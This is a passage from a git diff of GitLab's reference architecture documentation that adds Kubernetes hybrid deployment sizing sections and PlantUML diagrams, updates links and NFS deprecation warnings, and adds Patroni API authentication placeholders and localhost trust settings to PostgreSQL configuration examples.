+Prometheus and Grafana.
+
+Hybrid installations leverage the benefits of both cloud native and traditional
+compute deployments. With this, _stateless_ components can benefit from cloud native
+workload management benefits while _stateful_ components are deployed in compute VMs
+with Omnibus to benefit from increased permanence.
+
+NOTE:
+This is an **advanced** setup. Running services in Kubernetes is well known
+to be complex. **This setup is only recommended** if you have strong working
+knowledge and experience in Kubernetes. The rest of this
+section will assume this.
+
+### Cluster topology
+
+The following tables and diagram details the hybrid environment using the same formats
+as the normal environment above.
+
+First starting with the components that run in Kubernetes. The recommendations at this
+time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types, but the memory
+and CPU requirements should translate to most other providers. We hope to update this in the
+future with further specific cloud provider details.
+
+| Service | Nodes(1) | Configuration | GCP | Allocatable CPUs and Memory |
+|-------------------------------------------------------|----------|-------------------------|------------------|-----------------------------|
+| Webservice | 7 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | 223 vCPU, 206.5 GB memory |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory |
+| Supporting services such as NGINX, Prometheus, etc. | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Nodes configuration is shown as it is forced to ensure pod vcpu / memory ratios and avoid scaling during **performance testing**.
+ In production deployments there is no need to assign pods to nodes. A minimum of three nodes in three different availability zones is strongly recommended to align with resilient cloud architecture practices.
+<!-- markdownlint-enable MD029 -->
+
+Next are the backend components that run on static compute VMs via Omnibus (or External PaaS
+services where applicable):
+
+| Service | Nodes | Configuration | GCP |
+|--------------------------------------------|-------|-------------------------|------------------|
+| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| PostgreSQL(1) | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Internal load balancing node(3) | 1 | 4 vCPU, 3.6GB memory | `n1-highcpu-4` |
+| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
+| Redis Sentinel - Queues / Shared State(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
+| Gitaly | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` |
+| Praefect | 3 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Object storage(4) | n/a | n/a | n/a |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
+
+NOTE:
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
+
+```plantuml
+@startuml 25k
+
+card "Kubernetes via Helm Charts" as kubernetes {
+ card "**External Load Balancer**" as elb #6a9be7
+
+ together {
+ collections "**Webservice** x7" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
+ }
+
+ card "**Prometheus + Grafana**" as monitor #7FFFD4
+ card "**Supporting Services**" as support
+}
+
+card "**Internal Load Balancer**" as ilb #9370DB
+collections "**Consul** x3" as consul #e76a9b
+
+card "Gitaly Cluster" as gitaly_cluster {
+ collections "**Praefect** x3" as praefect #FF8C00
+ collections "**Gitaly** x3" as gitaly #FF8C00
+ card "**Praefect PostgreSQL***\n//Non fault-tolerant//" as praefect_postgres #FF8C00
+
+ praefect -[#FF8C00]-> gitaly
+ praefect -[#FF8C00]> praefect_postgres
+}
+
+card "Database" as database {
+ collections "**PGBouncer** x3" as pgbouncer #4EA7FF
+ card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+
+ pgbouncer -[#4EA7FF]-> postgres_primary
+ postgres_primary .[#4EA7FF]> postgres_secondary
+}
+
+card "redis" as redis {
+ collections "**Redis Persistent** x3" as redis_persistent #FF6347
+ collections "**Redis Cache** x3" as redis_cache #FF6347
+ collections "**Redis Persistent Sentinel** x3" as redis_persistent_sentinel #FF6347
+ collections "**Redis Cache Sentinel** x3"as redis_cache_sentinel #FF6347
+
+ redis_persistent <.[#FF6347]- redis_persistent_sentinel
+ redis_cache <.[#FF6347]- redis_cache_sentinel
+}
+
+cloud "**Object Storage**" as object_storage #white
+
+elb -[#6a9be7]-> gitlab
+elb -[#6a9be7]-> monitor
+elb -[hidden]-> support
+
+gitlab -[#32CD32]--> ilb
+gitlab -[#32CD32]-> object_storage
+gitlab -[#32CD32]---> redis
+gitlab -[hidden]--> consul
+
+sidekiq -[#ff8dd1]--> ilb
+sidekiq -[#ff8dd1]-> object_storage
+sidekiq -[#ff8dd1]---> redis
+sidekiq -[hidden]--> consul
+
+ilb -[#9370DB]-> gitaly_cluster
+ilb -[#9370DB]-> database
+
+consul .[#e76a9b]-> database
+consul .[#e76a9b]-> gitaly_cluster
+consul .[#e76a9b,norank]--> redis
+
+monitor .[#7FFFD4]> consul
+monitor .[#7FFFD4]-> database
+monitor .[#7FFFD4]-> gitaly_cluster
+monitor .[#7FFFD4,norank]--> redis
+monitor .[#7FFFD4]> ilb
+monitor .[#7FFFD4,norank]u--> elb
+
+@enduml
+```
+
+### Resource usage settings
+
+The following formulas help when calculating how many pods may be deployed within resource constraints.
+The [25k reference architecture example values file](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/ref/25k.yaml)
+documents how to apply the calculated configuration to the Helm Chart.
+
+#### Webservice
+
+Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_.
+Each Webservice pod will consume roughly 4 vCPUs and 5 GB of memory using
+the [recommended topology](#cluster-topology) because four worker processes
+are created by default and each pod has other small processes running.
+
+For 25k users we recommend a total Puma worker count of around 140.
+With the [provided recommendations](#cluster-topology) this allows the deployment of up to 35
+Webservice pods with 4 workers per pod and 5 pods per node. Expand available resources using
+the ratio of 1 vCPU to 1.25 GB of memory _per each worker process_ for each additional
+Webservice pod.
+
+For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources).
+
+#### Sidekiq
+
+Sidekiq pods should generally have 1 vCPU and 2 GB of memory.
+
+[The provided starting point](#cluster-topology) allows the deployment of up to
+14 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory
+ratio for each additional pod.
+
+For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md
index 7db3a343e0b..ff3db877553 100644
--- a/doc/administration/reference_architectures/2k_users.md
+++ b/doc/administration/reference_architectures/2k_users.md
@@ -324,7 +324,7 @@ to be used with GitLab.
Redis version 5.0 or higher is required, as this is what ships with
Omnibus GitLab packages starting with GitLab 13.0. Older Redis versions
do not support an optional count argument to SPOP which is now required for
-[Merge Trains](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md).
+[Merge Trains](../../ci/pipelines/merge_trains.md).
In addition, GitLab makes use of certain commands like `UNLINK` and `USAGE` which
were introduced only in Redis 4.
@@ -965,10 +965,13 @@ possible. However, if you intend to use GitLab Pages,
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](../gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md
index bca5e4c3dab..ef58e69ee27 100644
--- a/doc/administration/reference_architectures/3k_users.md
+++ b/doc/administration/reference_architectures/3k_users.md
@@ -101,7 +101,6 @@ cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
elb -[#6a9be7]--> monitor
-gitlab -[#32CD32]> sidekiq
gitlab -[#32CD32]--> ilb
gitlab -[#32CD32]-> object_storage
gitlab -[#32CD32]---> redis
@@ -440,7 +439,7 @@ services support high availability, be sure it is **not** the Redis Cluster type
Redis version 5.0 or higher is required, as this is what ships with
Omnibus GitLab packages starting with GitLab 13.0. Older Redis versions
do not support an optional count argument to SPOP which is now required for
-[Merge Trains](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md).
+[Merge Trains](../../ci/pipelines/merge_trains.md).
Note the Redis node's IP address or hostname, port, and password (if required).
These will be necessary when configuring the
@@ -829,7 +828,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
username of `gitlab_replicator` (recommended). The command will request a password
and a confirmation. Use the value that is output by this command in the next step
as the value of `<postgresql_replication_password_hash>`:
-
+
```shell
sudo gitlab-ctl pg-password-md5 gitlab_replicator
```
@@ -848,7 +847,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
```ruby
# Disable all components except Patroni and Consul
roles(['patroni_role'])
-
+
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -866,7 +865,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
-
+
# Configure the Consul agent
consul['services'] = %w(postgresql)
## Enable service discovery for Prometheus
@@ -882,8 +881,12 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
+ # Set up basic authentication for the Patroni API (use the same username/password in all nodes).
+ patroni['username'] = '<patroni_api_username>'
+ patroni['password'] = '<patroni_api_password>'
+
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -1127,7 +1130,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['sql_user_password'] = "<praefect_postgresql_password_hash>"
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -1328,7 +1331,7 @@ the file of the same name on this server. If this is the first Omnibus node you
1. Praefect requires to run some database migrations, much like the main GitLab application. For this
you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
must be configured first before the others as follows:
-
+
1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
@@ -1336,7 +1339,7 @@ the file of the same name on this server. If this is the first Omnibus node you
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
```
-
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
to run the Praefect database migrations.
@@ -2062,10 +2065,13 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](../gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
## Supported modifications for lower user counts (HA)
diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md
index b3324cb75fb..766f94f6c53 100644
--- a/doc/administration/reference_architectures/50k_users.md
+++ b/doc/administration/reference_architectures/50k_users.md
@@ -94,7 +94,6 @@ cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
elb -[#6a9be7]--> monitor
-gitlab -[#32CD32]> sidekiq
gitlab -[#32CD32]--> ilb
gitlab -[#32CD32]-> object_storage
gitlab -[#32CD32]---> redis
@@ -608,8 +607,12 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
+ # Set up basic authentication for the Patroni API (use the same username/password in all nodes).
+ patroni['username'] = '<patroni_api_username>'
+ patroni['password'] = '<patroni_api_password>'
+
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -812,7 +815,7 @@ Managed Redis from cloud providers (such as AWS ElastiCache) will work. If these
services support high availability, be sure it _isn't_ of the Redis Cluster type.
Redis version 5.0 or higher is required, which is included with Omnibus GitLab
packages starting with GitLab 13.0. Older Redis versions don't support an
-optional count argument to SPOP, which is required for [Merge Trains](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md).
+optional count argument to SPOP, which is required for [Merge Trains](../../ci/pipelines/merge_trains.md).
Note the Redis node's IP address or hostname, port, and password (if required).
These will be necessary later when configuring the [GitLab application servers](#configure-gitlab-rails).
@@ -872,7 +875,7 @@ a node and change its status from primary to replica (and vice versa).
'redis.addr' => 'redis://10.6.0.51:6379',
'redis.password' => 'redis-password-goes-here',
}
-
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1425,7 +1428,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['sql_user_password'] = "<praefect_postgresql_password_hash>"
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -1627,7 +1630,7 @@ the file of the same name on this server. If this is the first Omnibus node you
1. Praefect requires to run some database migrations, much like the main GitLab application. For this
you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
must be configured first before the others as follows:
-
+
1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
@@ -1635,7 +1638,7 @@ the file of the same name on this server. If this is the first Omnibus node you
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
```
-
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
to run the Praefect database migrations.
@@ -1703,7 +1706,7 @@ On each node:
# balancer.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
- # Gitaly
+ # Gitaly
gitaly['enable'] = true
# Make Gitaly accept connections on all network interfaces. You must use
@@ -1929,7 +1932,7 @@ To configure the Sidekiq nodes, on each one:
## Set number of Sidekiq threads per queue process to the recommend number of 10
sidekiq['max_concurrency'] = 10
- # Monitoring
+ # Monitoring
consul['enable'] = true
consul['monitoring_service_discovery'] = true
@@ -2373,10 +2376,194 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](../gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+
+## Cloud Native Hybrid reference architecture with Helm Charts (alternative)
+
+As an alternative approach, you can also run select components of GitLab as Cloud Native
+in Kubernetes via our official [Helm Charts](https://docs.gitlab.com/charts/).
+In this setup, we support running the equivalent of GitLab Rails and Sidekiq nodes
+in a Kubernetes cluster, named Webservice and Sidekiq respectively. In addition,
+the following other supporting services are supported: NGINX, Task Runner, Migrations,
+Prometheus and Grafana.
+
+Hybrid installations leverage the benefits of both cloud native and traditional
+compute deployments. With this, _stateless_ components can benefit from cloud native
+workload management benefits while _stateful_ components are deployed in compute VMs
+with Omnibus to benefit from increased permanence.
+
+NOTE:
+This is an **advanced** setup. Running services in Kubernetes is well known
+to be complex. **This setup is only recommended** if you have strong working
+knowledge and experience in Kubernetes. The rest of this
+section will assume this.
+
+### Cluster topology
+
+The following tables and diagram details the hybrid environment using the same formats
+as the normal environment above.
+
+First starting with the components that run in Kubernetes. The recommendations at this
+time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types, but the memory
+and CPU requirements should translate to most other providers. We hope to update this in the
+future with further specific cloud provider details.
+
+| Service | Nodes(1) | Configuration | GCP | Allocatable CPUs and Memory |
+|-------------------------------------------------------|----------|-------------------------|------------------|-----------------------------|
+| Webservice | 16 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | 510 vCPU, 472 GB memory |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory |
+| Supporting services such as NGINX, Prometheus, etc. | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Nodes configuration is shown as it is forced to ensure pod vcpu / memory ratios and avoid scaling during **performance testing**.
+ In production deployments there is no need to assign pods to nodes. A minimum of three nodes in three different availability zones is strongly recommended to align with resilient cloud architecture practices.
+<!-- markdownlint-enable MD029 -->
+
+Next are the backend components that run on static compute VMs via Omnibus (or External PaaS
+services where applicable):
+
+| Service | Nodes | Configuration | GCP |
+|--------------------------------------------|-------|-------------------------|------------------|
+| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| PostgreSQL(1) | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Internal load balancing node(3) | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` |
+| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
+| Redis Sentinel - Queues / Shared State(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
+| Gitaly | 3 | 64 vCPU, 240 GB memory | `n1-standard-64` |
+| Praefect | 3 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Object storage(4) | n/a | n/a | n/a |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
+
+NOTE:
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
+
+```plantuml
+@startuml 50k
+
+card "Kubernetes via Helm Charts" as kubernetes {
+ card "**External Load Balancer**" as elb #6a9be7
+
+ together {
+ collections "**Webservice** x16" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
+ }
+
+ card "**Prometheus + Grafana**" as monitor #7FFFD4
+ card "**Supporting Services**" as support
+}
+
+card "**Internal Load Balancer**" as ilb #9370DB
+collections "**Consul** x3" as consul #e76a9b
+
+card "Gitaly Cluster" as gitaly_cluster {
+ collections "**Praefect** x3" as praefect #FF8C00
+ collections "**Gitaly** x3" as gitaly #FF8C00
+ card "**Praefect PostgreSQL***\n//Non fault-tolerant//" as praefect_postgres #FF8C00
+
+ praefect -[#FF8C00]-> gitaly
+ praefect -[#FF8C00]> praefect_postgres
+}
+
+card "Database" as database {
+ collections "**PGBouncer** x3" as pgbouncer #4EA7FF
+ card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+
+ pgbouncer -[#4EA7FF]-> postgres_primary
+ postgres_primary .[#4EA7FF]> postgres_secondary
+}
+
+card "redis" as redis {
+ collections "**Redis Persistent** x3" as redis_persistent #FF6347
+ collections "**Redis Cache** x3" as redis_cache #FF6347
+ collections "**Redis Persistent Sentinel** x3" as redis_persistent_sentinel #FF6347
+ collections "**Redis Cache Sentinel** x3"as redis_cache_sentinel #FF6347
+
+ redis_persistent <.[#FF6347]- redis_persistent_sentinel
+ redis_cache <.[#FF6347]- redis_cache_sentinel
+}
+
+cloud "**Object Storage**" as object_storage #white
+
+elb -[#6a9be7]-> gitlab
+elb -[#6a9be7]-> monitor
+elb -[hidden]-> support
+
+gitlab -[#32CD32]--> ilb
+gitlab -[#32CD32]-> object_storage
+gitlab -[#32CD32]---> redis
+gitlab -[hidden]--> consul
+
+sidekiq -[#ff8dd1]--> ilb
+sidekiq -[#ff8dd1]-> object_storage
+sidekiq -[#ff8dd1]---> redis
+sidekiq -[hidden]--> consul
+
+ilb -[#9370DB]-> gitaly_cluster
+ilb -[#9370DB]-> database
+
+consul .[#e76a9b]-> database
+consul .[#e76a9b]-> gitaly_cluster
+consul .[#e76a9b,norank]--> redis
+
+monitor .[#7FFFD4]> consul
+monitor .[#7FFFD4]-> database
+monitor .[#7FFFD4]-> gitaly_cluster
+monitor .[#7FFFD4,norank]--> redis
+monitor .[#7FFFD4]> ilb
+monitor .[#7FFFD4,norank]u--> elb
+
+@enduml
+```
+
+### Resource usage settings
+
+The following formulas help when calculating how many pods may be deployed within resource constraints.
+The [50k reference architecture example values file](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/ref/50k.yaml)
+documents how to apply the calculated configuration to the Helm Chart.
+
+#### Webservice
+
+Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_.
+Each Webservice pod will consume roughly 4 vCPUs and 5 GB of memory using
+the [recommended topology](#cluster-topology) because four worker processes
+are created by default and each pod has other small processes running.
+
+For 50k users we recommend a total Puma worker count of around 320.
+With the [provided recommendations](#cluster-topology) this allows the deployment of up to 80
+Webservice pods with 4 workers per pod and 5 pods per node. Expand available resources using
+the ratio of 1 vCPU to 1.25 GB of memory _per each worker process_ for each additional
+Webservice pod.
+
+For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources).
+
+#### Sidekiq
+
+Sidekiq pods should generally have 1 vCPU and 2 GB of memory.
+
+[The provided starting point](#cluster-topology) allows the deployment of up to
+14 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory
+ratio for each additional pod.
+
+For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md
index 9952df196c9..e57c4545b13 100644
--- a/doc/administration/reference_architectures/5k_users.md
+++ b/doc/administration/reference_architectures/5k_users.md
@@ -60,10 +60,7 @@ together {
collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
-together {
- card "**Prometheus + Grafana**" as monitor #7FFFD4
- collections "**Consul** x3" as consul #e76a9b
-}
+card "**Prometheus + Grafana**" as monitor #7FFFD4
card "Gitaly Cluster" as gitaly_cluster {
collections "**Praefect** x3" as praefect #FF8C00
@@ -83,14 +80,15 @@ card "Database" as database {
postgres_primary .[#4EA7FF]> postgres_secondary
}
-card "redis" as redis {
- collections "**Redis Persistent** x3" as redis_persistent #FF6347
- collections "**Redis Cache** x3" as redis_cache #FF6347
- collections "**Redis Persistent Sentinel** x3" as redis_persistent_sentinel #FF6347
- collections "**Redis Cache Sentinel** x3"as redis_cache_sentinel #FF6347
+node "**Consul + Sentinel** x3" as consul_sentinel {
+ component Consul as consul #e76a9b
+ component Sentinel as sentinel #e6e727
+}
- redis_persistent <.[#FF6347]- redis_persistent_sentinel
- redis_cache <.[#FF6347]- redis_cache_sentinel
+card "Redis" as redis {
+ collections "**Redis** x3" as redis_nodes #FF6347
+
+ redis_nodes <.[#FF6347]- sentinel
}
cloud "**Object Storage**" as object_storage #white
@@ -98,7 +96,6 @@ cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
elb -[#6a9be7]--> monitor
-gitlab -[#32CD32]> sidekiq
gitlab -[#32CD32]--> ilb
gitlab -[#32CD32]-> object_storage
gitlab -[#32CD32]---> redis
@@ -432,7 +429,7 @@ services support high availability, be sure it is **not** the Redis Cluster type
Redis version 5.0 or higher is required, as this is what ships with
Omnibus GitLab packages starting with GitLab 13.0. Older Redis versions
do not support an optional count argument to SPOP which is now required for
-[Merge Trains](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md).
+[Merge Trains](../../ci/pipelines/merge_trains.md).
Note the Redis node's IP address or hostname, port, and password (if required).
These will be necessary when configuring the
@@ -846,7 +843,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Sets `max_replication_slots` to double the number of database nodes.
# Patroni uses one extra slot per node when initiating the replication.
patroni['postgresql']['max_replication_slots'] = 8
-
+
# Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
@@ -873,8 +870,12 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
+ # Set up basic authentication for the Patroni API (use the same username/password in all nodes).
+ patroni['username'] = '<patroni_api_username>'
+ patroni['password'] = '<patroni_api_password>'
+
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -1118,7 +1119,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['sql_user_password'] = "<praefect_postgresql_password_hash>"
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
